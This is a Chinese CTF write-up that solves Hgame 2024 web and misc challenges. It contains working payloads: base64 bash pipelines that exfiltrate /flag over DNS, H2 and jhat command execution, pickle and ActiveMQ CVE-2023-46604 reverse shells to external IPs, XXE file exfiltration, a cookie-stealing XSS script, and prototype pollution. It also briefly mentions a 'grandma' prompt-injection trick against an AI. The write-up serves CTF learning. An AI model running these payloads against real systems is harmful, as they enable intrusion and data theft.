2024 Hgame Web&Misc复现(附docker) 部分wp

2024 Hgame Web&Misc复现(附docker) 部分wp

文章目录

  • 2024 Hgame Web&Misc复现(附docker) 部分wp
  • 第一周
    • ezHTTP
    • Bypass it
    • Select Course
    • 2048
    • jhat
      • java 的命令执行
      • 不出网 方法总结
    • SignIn
    • 来自星尘的问候
    • simple_attack
    • 希儿希儿希尔
  • 第二周
    • Select Course
    • Python反序列化(myflask)
    • search4member(H2_RCE)
    • 梅开二度 (Go的模板注入+xss)
      • template常用基本语法
      • 安全过滤
    • ek1ng_want_girlfriend
    • ezWord
    • 龙之舞
  • 第三周
    • Vider box(XXE盲注+file读取远程文件)
    • 考点:xxe盲注+file://协议如何远程读xml文件
        • 思考:file://可以读取远程服务器上的文件吗?(为什么类似ftp特性)
      • 1.本地调试java如何处理ftp请求(usename?password?)(可跳过见反思)
      • 2.现在我们远程环境测试真实环境
    • 反思:难道我们一定要拿Java默认ftp连接密码?
      • 难道我们一定要file://读取远程服务?
    • WebVpn(对JS原型链污染的再理解)
      • JS原型链污染原理再理解
      • JS语法特性
    • ZeroLink(Go的特性+unzip的软链接)
      • 变量的赋值
      • Go的结构分析
      • 上传zip文件(软链接)
    • 与ai聊天
    • vmdk取证
    • 简单的取证,不过前十个有红包
    • Blind SQL Injection
  • 第四周
    • Reverse and Escalation
      • Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞(CVE-2023-46604)
    • whose home ?
      • 对bash和sh反弹shell的辨析
      • 如何判断内网其他存活主机了
    • ezKeyboard

复现–官方题目附件+收集环境:链接:https://pan.baidu.com/s/1fNtXf9epA7tIsfPeiHITDg?pwd=8888
提取码:8888

第一周

ezHTTP

Untitled

Untitled

referer

Untitled

User-Agent

Untitled

fakeIP一把梭

Untitled

jwt.io

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJGMTRnIjoiaGdhbWV7SFRUUF8hc18xbVAwclQ0bnR9In0.VKMdRQllG61JTReFhmbcfIdq7MvJDncYpjaT7zttEDc

Untitled

flag:hgame{HTTP_!s_1mP0rT4nt}

Bypass it

Untitled

js实现跳转

http://47.100.137.175:31851/login.html

Untitled

注册也用js实现判断

Untitled

Untitled

注册成功后 开启js 登录

Untitled

拿到flag

Untitled

flag hgame{50a83b0a088d24a2aec65050c6d34508b156b440}

Select Course

Untitled

开始以为是 爬虫+selenuim实现ajax动态获取host+port

开启靶机瞬间 发包 多线程 实现准点抢课

写好了 不行…

发现想复杂了

模拟已选后 有人退出 才可选

Untitled

异步 /api/courses 发json

Untitled

写个脚本

import requests
import json

base_url = f"http://47.100.137.175:30110"  

headers = {
    'Content-Type': 'application/json'
}

while True:
    for i in range(1, 6):
        post_url = f"{base_url}/api/courses"
        payload = {
            "id": i
        }
        post_response = requests.post(post_url, headers=headers, json=payload)
        
        
        if post_response.status_code == 200:
            print(post_response.text)
            print(f"POST Request for id {i} Successful")
        else:
            print(f"POST Request for id {i} failed with status code {post_response.status_code}")

    
    get_url = f"{base_url}/api/ok"
    get_response = requests.get(get_url, headers=headers)

    
    if get_response.status_code == 200:
        print("GET Request Successful")
    else:
        print(f"GET Request failed with status code {get_response.status_code}")

跑一会

Untitled

Untitled

Untitled

Untitled

莫名其妙的题

flag:hgame{w0W_!1E4Rn_To_u5e_5cripT_}

2048

参考 原版逻辑 https://play2048.co/

拿关键字 game-won

Untitled

解密函数 修改 x=1 即可

console中

var n = h;t = 1 ? s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") : n(453);console.log(t);

Untitled

flag:flag{b99b820f-934d-44d4-93df-41361df7df2d}

jhat

jhat(Java Heap Analysis Tool)是Java Development Kit(JDK)提供的一个工具,用于分析Java堆转储文件(heap dump files)。堆转储文件通常包含了在特定时间点上的Java应用程序内存分配信息,是JVM(Java虚拟机)在运行过程中或在出现OutOfMemoryError时生成的。jhat分析这些文件并提供一个HTTP/HTML界面,允许用户查询堆内对象和类的信息。

Untitled

做完就给hint了…

不出网卡了半天

Untitled

Untitled

hint: oql 实现 rce

参考 https://github.com/adipinto/security-advisories/blob/master/framework/GemFile/20141125_rce_through_reflection/README.md

写的比较深入

Untitled

简化:实际可以不用反射 (按实际情况来)

看看 select s from java.lang.Runtime s 静态类可用

Untitled

看下ProcessBuilder

Untitled

无不可用

java.lang.Runtime.getRuntime().exec('ls')

Untitled

Untitled

unixprocess多半执行了

侧面验证 无nc

Untitled

java 的命令执行

用java.lang.String 重写一个太复杂

一般java反弹shell为 new String[]{"/bin/bash","-c",“bash -i >& /dev/tcp/ip/port 0>&1”}

这里直接用 
bash -c {echo,Y3VybCAxNDguMTM1LjgyLjE5MC8yIHwgYmFzaA==}|{base64,-d}|{bash,-i}

[!NOTE]

为什么我们直接 会失效了?

curl `cat /f*`.yourdns.com

因为 java.lang.Runtime.getRuntime().exec("") 会将传入的字符串当作命令执行(但是不经过shell的解释器)

但他不完全等同于我们shell(不完全的shell)部分shell的特性和功能并不完全

这里要经过shell解释器,需要显性调用 bash -c “command”

{echo,Y3VybCAxNDguMTM1LjgyLjE5MC8yIHwgYmFzaA==}|{base64,-d}|{bash,-i}

利用base64编码绕过这种方法可以绕过exec方法中调用shell的特性的限制

不出网 方法总结

1.写静态文件

2.dns协议基于udp

3.控制response回显结果

https://github.com/sisterAn/blog/issues/108

走udp信道

payload :java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCB5ZW5hZG5wcXVuLmRncmgzLmNu}|{base64,-d}|{bash,-i}')

Untitled

Untitled

直接外带

payload

java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCBgY2F0IC9mKmAueWVuYWRucHF1bi5kZ3JoMy5jbg==}|{base64,-d}|{bash,-i}')

Untitled

添上{}

flag hgame{ad83e7e16477cce14e7c594c7d3197b8c0d653c2}

SignIn

try_another_way_to_see

换一种视角 高度扁平

画图改一下高宽

image-20240308200226282

来自星尘的问候

jpg图片+弱密码

steghide info secret.jpg探测是否是隐藏文件(带密码)在就jpg中

image-20240308201011260

image-20240308201050037

提取文件

exa

结合题目查询 来自星尘的异星字体 https://my1l.github.io/Ctrl/CtrlAstr.html

对照image-20240308201340345

flag:hgame{welc0me!}

simple_attack

特征:有一张图片和加密的zip包(图片名字一致)

image-20240308201813847

一样的文件 zip 明文加密

如果将压缩包中的某个文件用同样的压缩软件同样的压缩方式进行无密码的压缩,得到的文件就是
Known plaintext(已知明文)。用这个无密码的压缩包和有密码的压缩包进行比较,分析两个包中相同
的文件,抽取出两个文件的不同点,应该有12byte不同,即3个key。

使用key无法直接还原出密码,但是可以利用key解压其他文件,达到了最终的目的

同一个zip文件里面的所有文件都是通过一个加密密钥加密的

用bandzip压缩一下图片 acr - 明文攻击

image-20240308204141118

跑一会

image-20240308204955452

解密后base64转图片

image-20240308205107954

希儿希儿希尔

一张无法正常显示的png图片

用tweakpng 检查一下 png

image-20240308205240989

1.CRC不正确

image-20240308205604366

告诉我们存在隐藏文件 --binwalk

CRC错误用风二西 png 宽高爆破工具

修复成功

image-20240308205857629

binwalk探测 是否有文件包含

image-20240308210838891

binwalk -e secret_3945.png

拿到一串 密文 CVOCRJGMKLDJGBQIUIVXHEYLPNWR

上zsteg 解析 png和bmp

image-20240308211215068

KEY:[[8 7][3 8]];A=0

当然用stegsolve 图片存在[lsb隐写]也可以

不清楚加密方式

搜索题目 希尔密码 (很多时候题目也是hint之一)

image-20240308211451904

转大写 hgame{DISAPPEARINTHESEAOFBUTTERFLY}

第二周

Select Course

编写多线程脚本即可

Python反序列化(myflask)

注意几点

  1. 靶机中有没有os模块

  2. 基于栈的虚拟机,在相应的平台上运行poc

如果靶机环境没有os 就 __import__('os')

import pickle
import base64
 
class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('tac /flag').read()",))
    
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

常用payload

import pickle
import os
import base64

class aaa():
    def __reduce__(self):
        return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))

a= aaa()

payload=pickle.dumps(a)

payload=base64.b64encode(payload)
print(payload)

#注意payloads生成的shell脚本需要在目标机器操作系统上执行,否则会报错

search4member(H2_RCE)

mvn仓库 —>h2database RCE

Untitled

类似原生JDBC写法 可以看到表的字段和结构

Untitled

like + % sql拼接注入

拼接 %’; 注意 % urlencode编码一下 和http 功能字符 重合

Untitled

union注入有回显

Untitled

尝试 (select group_concat(*) from H2.member ) 服务器报错

参考h2_rce

//创建别名
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

//调用SHELLEXEC执行命令
CALL SHELLEXEC('id');

payload: dns外带

?keyword=zzz%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mKmAubmVxc215a3Rpbi5kZ3JoMy5jbg==}|{base64,-d}|{bash,-i}');--+-

Untitled

梅开二度 (Go的模板注入+xss)

参考:

HGAME 2024 WEEK2 Web方向题解 全:link

image-20240309143140387

未做安全限制转义可能存在 xss 攻击

r.GET("/flag", func(c *gin.Context) {
		if c.RemoteIP() != "127.0.0.1" {
			c.String(403, "you are not localhost")
			return
		}
		flag, err := os.ReadFile("/flag")
		if err != nil {
			c.String(500, "read flag error")
			return
		}
		c.SetCookie("flag", string(flag), 3600, "/", "", false, true)//设置Cookie
		c.Status(200)
	})
	r.Run(":8080")
}

读取/flag并将内容作为Cookie返回

思路:bot访问/flag作为cookie通过dns携带出来

可以看到当前对象存在Query方法

image-20240309150333693

参考:

[]: https://www.secpulse.com/archives/192052.html “浅学Go下的ssti”

template常用基本语法


在{{}}内的操作称之为pipeline

{{.}} 表示当前对象,如user对象

{{.FieldName}} 表示对象的某个字段

{{range …}}{{end}} go中for…range语法类似,循环

{{with …}}{{end}} 当前对象的值,上下文

{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择

{{xxx | xxx}} 左边的输出作为右边的输入

{{template "navbar"}} 引入子模版

安全过滤

  1. var re = regexp.MustCompile(`script|file|on`)
    
    //过滤关键词  绕过可以类似 php二次传参
    
  2. len(tmplStr) > 50 限制字符长度

​ 3.tmplStr = html.EscapeString(tmplStr) 用反引号代替单引号和双引号

image-20240309142900656

黑盒

payload`如下,执行后回显的值为`95272022
{{println 0B101101011011011110001010110}}

image-20240309144015112

存在xss

?tmpl={{.Query `a`}}&a=<script>alert(1)</script>

image-20240309144710285

保证 /flag通过localhost访问 用/bot发送请求

image-20240309145730320

/bot?url=http://127.0.0.1:8080/?tmp1={{.Query `test`}}&test=<script>alert('xss')</script> //不可用

思考 以前我们SSRF攻击为什么要 urlencode两次(被解码两次,经过两次服务器自动解码)

这里同理

/bot?url=http://127.0.0.1:8080/?tmp1={{.Query test}}&test=<script>alert('xss')</script> //不可用

整体编码一次 后

再次编码

这里引用一下Jay17师傅的blog

image-20240309151000753

HttpOnly限制客户端js代码的访问cookie,只能通过HTTP传输带出Cookie

师傅原话

==坑点4:==花括号问题

因为flag里面有花括号,导致了DNS带不出数据。。。。。

尝试采用base64和url编码,带出也失败了,猜测不仅仅是花括号,其他的等号、百分号也会导致无法带出。。。

那我们就用字符串截取.substring()方法,截取flag中花括号内的纯字符。

编写js代码 实现访问/flag 返回cookie再截取cookie长度 通过dns信道带出

window.open("http://127.0.0.1:8080/flag");      //获取cookie(flag)
setTimeout(function(){   //延时1s执行
	var xhr = new XMLHttpRequest();
   	xhr.open('GET', 'http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');
   	xhr.withCredentials = true;         //允许请求携带跨域凭证(如cookies)
    xhr.send();
   	xhr.onreadystatechange=function(){
        //从响应文本中截取前4个字符,并前缀添加y,存储在变量a中。
       	var a="y"+(xhr.responseText).substring(0,4);      
        //var a="y"+(xhr.responseText).length;            //获取flag长度
       	window.open("http://"+a+".kbqsag.ceye.io");       //带出想要的数据(变量a)
   	};
},1000)

对代码行的逐行解释:(GPT4)

window.open("http://127.0.0.1:8080/flag");      //获取cookie(flag)

这行代码通过window.open()方法打开了一个新的浏览器窗口,访问了指定URL(http://127.0.0.1:8080/flag)。这个URL是用来获取包含cookie信息的flag

setTimeout(function(){   //延时1s执行
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');
    xhr.withCredentials = true;         //允许请求携带跨域凭证(如cookies)
    xhr.send();
    xhr.onreadystatechange=function(){
        //从响应文本中截取前4个字符,并前缀添加y,存储在变量a中。
        var a="y"+(xhr.responseText).substring(0,4);      
        //var a="y"+(xhr.responseText).length;            //获取flag长度
        window.open("http://"+a+".kbqsag.ceye.io");       //带出想要的数据(变量a)
    };
},1000)

这段代码使用了setTimeout函数,将包含XHR请求的代码延时执行1秒。

首先,创建了一个XMLHttpRequest对象xhr,用于发送HTTP请求。然后,使用open()方法指定了GET请求的URL(http://127.0.0.1:8080/?tmpl={{.Cookie flag}}),其中{{.Cookie flag}}是一个占位符,用于获取名为flag的cookie值。

接下来,通过设置xhr.withCredentialstrue,允许跨域请求携带凭证(例如cookies)。

然后,使用send()方法发送GET请求。

接着,通过onreadystatechange事件处理程序,监听xhr对象的状态变化。当请求状态发生变化时,会触发这个事件处理程序。在此处理程序中,通过xhr.responseText获取响应文本内容,并截取前4个字符。将截取的字符前缀添加y,存储在变量a中。

最后,使用window.open()方法打开了一个新的浏览器窗口,访问了以变量a作为URL一部分的网址(例如,http://yxxxx.kbqsag.ceye.io)。这个URL可能是用来带出想要的数据(变量a)并进行记录或分析。

太菜了,没能力自己编写js代码`(>﹏<)′

ek1ng_want_girlfriend

导出对象----->HTTP

选择图片保存

ezWord

特征:一个zip文件中有word文件

提示

image-20240309114525302

binwalk 查看一下

发现内部存在 zip文件

image-20240309114712873

binwalk -e 文件名

发现提示 恭喜你找到了这些东西,现在你离flag只差解开这个新的压缩包,然后对压缩包里的东西进行两层解密就能获得flag了。压缩包的密码和我放在这的两张图片有关。

特征:两张一模一样的图片+带密码的压缩包 考虑盲水印

image-20240309121506048

可以拿到密钥 T1hi3sI4sKey

提示+1 你好,很高兴你看到了这个压缩包。请注意:这个压缩包的密码有11位数而且包含大写字母小写字母和数字。还有一个要注意的是,里面的这一堆英文decode之后看上去是一堆中文乱码实际上这是正常现象,如果看到它们那么你就离成功只差一步了。

得到一封看似信的文本

image-20240309121813724

一堆英文decode之后看上去是一堆中文乱码

想办法decode为中文 信件加密 https://spammimic.com/decode.shtml

得到中文乱码

籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆

中文乱码转 unicode

\u7c71\u7c70\u7c6a\u7c76\u7c6e\u7c84\u7c39\u7c74\u7c68\u7c82\u7c78\u7c7e\u7c68\u7c7c\u7c39\u7c75\u7c7f\u7c6e\u7c68\u7c6a\u7c75\u7c3a\u7c68\u7c7d\u7c71\u7c3c\u7c68\u7c7c\u7c6e\u7c6c\u7c7b\u7c3c\u7c7d\u7c86

16进制

71 70 6a 76 6e 84 39 74 68 82 78 7e 68 7c 39 75 7f 6e 68 6a 75 3a 68 7d 71 3c 68 7c 6e 6c 7b 3c 7d 86

hgame{的16进制

68 67 61 6d 65 7b

打开程序员计算器 image-20240309123940562

会发现 DEC 差 9位

s1 = '71 70 6a 76 6e 84 39 74 68 82 78 7e 68 7c 39 75 7f 6e 68 6a 75 3a 68 7d 71 3c 68 7c 6e 6c 7b 3c 7d 86'.split()
s2 = 'hgame{'
for i in range(len(s1)):
    print(chr(int(s1[i],16)-9),end='')

hgame{0k_you_s0lve_al1_th3_secr3t}

补充:rot8000一键秒

image-20240309140115402

龙之舞

特征:wav文件+开头尖锐频率

image-20240309131857932

deepsound打开提示输入密码

Au打开后

处理翻转后

image-20240309131732773

5H8w1nlWCX3hQLG

image-20240309132044245

xxx.zip打开后是 gif 每帧分离

画图拼接image-20240309140004920

无法识别 处理二维码

https://merri.cx/qrazybox/ tools-Brute-force 然后decode可以得到结果

image-20240309140641621

第三周

Vider box(XXE盲注+file读取远程文件)

Springboot架构

Untitled

路由 /backdoor

参数 fname

this.workdir + fname + this.suffix

拼接file:///non_exists/+fname+xml

考点:xxe盲注+file://协议如何远程读xml文件

思考:file://可以读取远程服务器上的文件吗?(为什么类似ftp特性)

我们可以本地调试一下

image-20240308221757535

可以看到调试信息

image-20240308221852410

file://协议可以作为ftp-client 发送ftp请求连接

1.本地调试java如何处理ftp请求(usename?password?)(可跳过见反思)

宝塔开ftp服务

Untitled

类比ssrf绕过

schema://username:password@url/file

如果我们访问ftp://ip/2.xml没有设定账户和密码 java会如何处理了?

例如随便开个ftp服务 用户名密码随机

Untitled

在 23.94.38.86 /www/wwwroot/anonymous 放了一个 1.xml

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://148.135.82.190/1.dtd">
%remote;%int;%send;
]>  

Untitled

进行关键词检查

xml可以解析utf8 utf16 utf32(部分)

iconv -f utf8 -t utf16 1.xml>2.xml  

转换字符单集编码

现在访问

Untitled

Untitled

java爆出username password错误

java调试跟进

Untitled

可知道 user==null时

user = "anonymous";

Untitled

断点步入

Untitled

password=”Java17.0.10@”

可知规律 Java17.0.x@

2.现在我们远程环境测试真实环境

2.由dockerfile版本可知

image-20240308160246222

JDK 17 的版本镜像

真正的环境password可能是 Java17.0.(0-9)@

测出来 Java17.0.2@

Untitled

触发xml访问 148.135.82.190/1.dtd

可以监听 148.135.82.190 80 端口 判断正确

可以看到请求

Untitled

现在在148.135.82.190 /1.dtd创建文件

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://148.135.82.190:8888/1.txt?p=%file;'>">

开启web服务

监听 8888端口

再次访问 http://23.94.38.86:9300/backdoor?fname=…/…/23.94.38.86:21/2

可以拿到flag

Untitled

xxe盲注的经典操作就是通过xml→dtd→HTTP信道带出数据

我踩的坑:xxe盲注习惯用php://filter读flag(转base64) 但没有php环境,自然也不能用伪协议(忘改poc了)

反思:难道我们一定要拿Java默认ftp连接密码?

信息搜集时 我们经常 对ftp 21端口服务进行

nmap -sC -p21 ip进行默认脚本扫描

ftp最著名的就是 匿名登录 账号anonymous 密码任意

可以在vps开一个匿名vps服务

pip install pyftpdlib

python3 -m pyftpdlib -p21

image-20240308231859838

image-20240308232230498

username:anonymous password:任意

image-20240308232331342

重复xxe盲注结果即可

难道我们一定要file://读取远程服务?

参考:

hgame_week3_wplink

WebVpn(对JS原型链污染的再理解)

Nodejs的一些问题

本地有源码都可以,调试输出,极大理清题目原理

JS原型链污染原理再理解

P牛的总结:

对象.__proto__=构造函数.prototype
js中的类是通过函数实现的(伪类)

我们不妨这样理解 调用

对象.__proton__—>构造方法(constructor).prototype—>构造函数的原型上层(本题是Object)

Untitled

本题的构造方法(constructor)为userStorage 为一个对象(容器)

function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
    if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}

注意__proto__被过滤 用 原理理解

对象.__proton__—>构造方法(constructor).prototype—>构造函数的原型上层

可以用{”constructor”:{”prototype”:{}}} 进行污染

污染源:

update(userStorage[req.session.username].info, req.body);

接收req.body → userStorage.username.info

而userStorage.username.info.constructor.prototype=object

Untitled

//污染后
  //object.127.0.0.1=true
  res.render("home", {
    username: req.session.username,
    strategy: ((list)=>{
      var result = [];
      for (var key in list) {
        result.push({host: key, allow: list[key]});
      }
      return result;
    })(userStorage[req.session.username].strategy),
    /*userStorage[req.session.username].strategy={
      "baidu.com": true,
      "google.com": false,
    }
    */
  });

这里是 JS的匿名函数写法

将userStorage[req.session.username].strategy 传入 作为 list(形参)

等价于

for (var key in userStorage.username.strategy) {  //list替换了
  console.log(key + ": " + userStorage.username.strategy[key]);
}

JS语法特性

我们知道当我们访问对象不存在的属性时 我们会向上层寻找(参考 2023极客大挑战 雨的js原型链污染)

但这里明显 userStorage.username.strategy 是存在的 但我们任然可以利用成功,这是为什么?

Untitled

可以看到userStorage.username.strategy 的键值对正常

这是JS的语法缺陷

在JavaScript中,使用 for...in 循环迭代一个对象时,默认情况下它会遍历该对象所有的可枚举属性(包括那些继承自原型链的属性)。所以,如果你注意到除了对象本身的属性之外还有其他的属性被输出了,那可能是因为你的对象继承了额外的属性。

和Java反射getmethod(包括继承父类和public方法)和getallmethod(仅包含自身所有方法)有异曲同工之妙

例如,如果有人给 Object.prototype 添加了一个新的属性或方法,那么这个新的属性或方法也会出现在所有使用 for...in 循环迭代的对象中。这通常不是你想要的行为,因为它可能会导致一些不可预料的问题,尤其是当你只想处理对象本身拥有的属性时。

使用 for...in 循环迭代一个对象 会遍历该对象所有的可枚举属性(包括那些继承自原型链的属性) 就是 object.127.0.0.1=true也会包含

res.render("home", {
    username: req.session.username,
    strategy: ((list)=>{
      var result = [];
      for (var key in list) {
        result.push({host: key, allow: list[key]});
      }
      return result;
    })(userStorage[req.session.username].strategy),

  });

重新渲染后 可以利用成功

payload

{"constructor":{"prototype":{"127.0.0.1":true}}}

Untitled

可以成功污染

req.headers.host != "127.0.0.1:3000" || HTTP头中的Host
    req.hostname != "127.0.0.1" || 判断请求的主机名是否不等于"127.0.0.1
    req.ip != "127.0.0.1"  判断请求的IP地址

类似SSRF 访问内网

web服务暴露在3000端口

app.listen(port, '0.0.0.0', () => {
  console.log(`app listen on ${port}`); //port为3000
});

访问/proxy?url=http://127.0.0.1:3000/flag即可得到flag

ZeroLink(Go的特性+unzip的软链接)

这里先了解Go的一个语言特性

变量的赋值

var test int

如果变量的赋值没有初始化,不像C语言会随机赋值而是固定的 0

在Go语言中,每种数据类型都有一个默认的零值:对于数值类型是0,布尔类型是false,字符串是""(空字符串),而指针、切片、映射、函数、接口、通道的零值则是nil。当一个变量被声明但没有显式初始化时,它的值就是该类型的零值。这种设计确实带来了一个挑战,特别是在处理JSON和数据库操作时,那就是如何区分一个字段是显式设置为零值,还是根本就没有被设置(即是否为“零值”或是“未赋值”)。

无法判断 没有赋值 还是特意赋值为 零值

Go的结构分析

虽然我对go不熟悉(但是看英文也大概可以猜出大致的意思)

/cmd/main.go 程序的入口

image-20240308154832310

进入路由/internal/routes 可以看到定义的接口/api/*

image-20240308154950238

进入controller查看具体的实现功能

首先我们要user登录

image-20240308155259897

禁止了Username=Admin 或者 Token=0000

image-20240308155404954

引入 数据库 /internal/database “gorm.io/gorm”

image-20240308161010579

调用 GetUserByUsernameOrToken 函数

func GetUserByUsernameOrToken(username string, token string) (*User, error) {
	var user User
	query := db
	if username != "" {
		query = query.Where(&User{Username: username})
	} else {
		query = query.Where(&User{Token: token})
	}
	err := query.First(&user).Error
	if err != nil {
		log.Println("Cannot get user: " + err.Error())
		return nil, err
	}
	return &user, nil
}

如果我们username为空也无法判读是否传值

引用出题人的话

在 GetUserByUsernameOrToken 中,这⾥是给Gorm的Where函数传递了⼀个User对象,如果这

个对象的username属性值为空字符串,Gorm内部将⽆法分辨User的username属性是否被赋值过,

这导致Gorm在⽣成SQL语句时不会为该属性⽣成条件语句,此时的SQL语句如下:

1 SELECT * FROM user LIMIT 1

这个SQL语句会直接查询表中第⼀个⽤⼾,⽽很多⽤⼾数据库的第⼀个⽤⼾就是管理员,这题也是如

此。

1.当我们传入的{“username”:"",“id”:0}不会为username生成条件语句,gorm库其实也可以通过id来定位

image-20240308162552126

可以得知id为0

传入 {“username”:"",“id”:0}

image-20240308162701332

2.同理传入{“username”:"",“token”:""}

后端处理后进行查询处理后 不会为任何属性⽣成条件语句

等价于 SELECT * FROM user LIMIT 1

拿到了 Admin的password

爆出了admin的密码登录后台 可以看到zip文件的上传接口

image-20240308162751028

上传zip文件(软链接)

windows+linux环境下 打包zip文件 无法上传 前端限制

image-20240308162918934

我传的不是zip文件吗?看看原因,可以写个html表单上传文件

<form action="http://23.94.38.86:9303/api/upload" enctype="multipart/form-data" method="post">
    <input name="file" type="file"/>
    <input type="submit" value="upload"   />
</form>

抓包后

image-20240308163540090

Content-Type: application/x-zip-compressed 确实不是application/zip

如何处理?

Content-Type由客户端决定 我们切换linux提交文件

image-20240308232959613

参考unzip软链接 ciscn2023

解题步骤:

  1. 建立超链接
  2. 打包zip文件
  3. 覆盖/app/secret 文件
func ReadSecretFile(c *gin.Context) {
	secretFilepath := "/app/secret"
	content, err := util.ReadFileToString(secretFilepath)
	if err != nil {
		c.JSON(http.StatusInternalServerError, FileResponse{
			Code:    http.StatusInternalServerError,
			Message: "Failed to read secret file",
			Data:    "",
		})
		return
	}
//将/app/secret 中的内容当作content传入,再读取content指向的文件
	secretContent, err := util.ReadFileToString(content)
	if err != nil {
		c.JSON(http.StatusInternalServerError, FileResponse{
			Code:    http.StatusInternalServerError,
			Message: "Failed to read secret file content",
			Data:    "",
		})
		return
	}

注意以上代码实现了两次读取

具体实现

  1. kail中先创建/app目录 mkdir /app

  2. 创建快捷方式 ln -s 1.zip link

  3. zip压缩保留 软链接 zip --symlink 1.zip link

  4. 解压后现在靶机上的link------>/app

  5. 删除link 创建link文件目录mkdir link

  6. link目录下创建 secret文件 内容是/flag

  7. zip -r 2.zip ./link -r代表目录递归

每次上传后访问/api/unzip

最后访问/api/secret得到flag

image-20240309113021013

与ai聊天

经典提示词注入(扮演祖母)

vmdk取证

一个vmdk文件

VMDK(Virtual Machine Disk)是一种用于虚拟机的磁盘文件格式

基本概念:

  • SYSTEMSAM文件:在Windows系统中,SAM(安全账户管理器)数据库存储了所有本地账户的密码哈希值,而SYSTEM文件包含系统加密密钥。这些文件位于%SystemRoot%\system32\config目录。
  • NTLM哈希:NTLM(NT LAN Manager)是Windows用于认证的一种加密协议,账户密码的哈希版本存储在SAM数据库中。

用7zip软件打开 vmdk文件

C:\WINDOWS\system32\config提取 SAM和system

lsadump::sam /sam:SAM /system:SYSTEM 提取到管理员的Hash NTLM

image-20240310003010420

flag=hgame{dac3a2930fc196001f3aeab959748448_Admin1234}

简单的取证,不过前十个有红包

直接在vmdk虚拟磁盘 桌面发现secret图片

image-20240310002428002

提示用vercrypt解密

密码:968fJD17UBzZG6e3yjF6

直接打开挂载输入密码即可

image-20240310004034493

hgame{happy_new_year_her3_1s_a_redbag_key_41342177}

Blind SQL Injection

导出对象-HTTP对象

image-20240310004515096

二分法+布尔盲注 每次截取最后一位flag 正确字符(注意reverse)

image-20240310110434948

工具秒了

反转一下

flag{cbabafe7-1725-4e98-bac6-d38c5928af2f}

第四周

Reverse and Escalation

用vulhub的漏洞环境复现 CVE-2023-46604

Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞(CVE-2023-46604)

搭建漏洞环境 可以根据官方的说明poc改写

在我们vps web服务上放置 poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
	  <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDguMTM1LjgyLjE5MC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>
import io
import socket
import sys


def main(ip, port, xml):
    classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
    socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket_obj.connect((ip, port))

    with socket_obj:
        out = socket_obj.makefile('wb')
        # out = io.BytesIO()  # 创建一个内存中的二进制流
        out.write(int(32).to_bytes(4, 'big'))
        out.write(bytes([31]))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(classname).to_bytes(2, 'big'))
        out.write(classname.encode('utf-8'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(xml).to_bytes(2, 'big'))
        out.write(xml.encode('utf-8'))
        # print(list(out.getvalue()))
        out.flush()
        out.close()


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
              "http://192.168.0.101:8888/poc.xml")
        exit(-1)
    main(sys.argv[1], int(sys.argv[2]), sys.argv[3])

image-20240309223744345

利用poc.py python target 61616 xml的文件地址

可以反弹shell

image-20240309223840539

whose home ?

qBittorrent 管理磁力下载的

默认用户登录

username:admin

password:adminadmin

Web-UI改中文

image-20240309164451360

可以测下 是否执行

随便找个torrent上传

curl 没有执行

image-20240309165002939

换ping 获取请求(说明环境无curl命令)

image-20240309165035610

尝试反弹shell

bash -i >& /dev/tcp/ip/8888 0>&1

但是没有反弹shell回来

服务端报错

image-20240309165604788

对bash和sh反弹shell的辨析

bash -i >& /dev/tcp/ip/8888 0>&1

这个命令存在⼀些注意点, ⾸先得理解 bash 反弹 shell 的本质

https://www.k0rz3n.com/2018/08/05/Linux反弹shell(⼀)⽂件描述符与重定向/

https://www.k0rz3n.com/2018/08/05/Linux反弹shell(⼆)反弹shell的本质/

然后你得知道上⾯这个反弹 shell 的语法其实是 bash ⾃身的特性, ⽽其它 shell 例如 sh, zsh 并不⽀持这个功能

对于题⽬的环境⽽⾔, 当你执⾏这条命令的时候, 它实际上是在 sh 的 context 中执⾏的, >& 以及

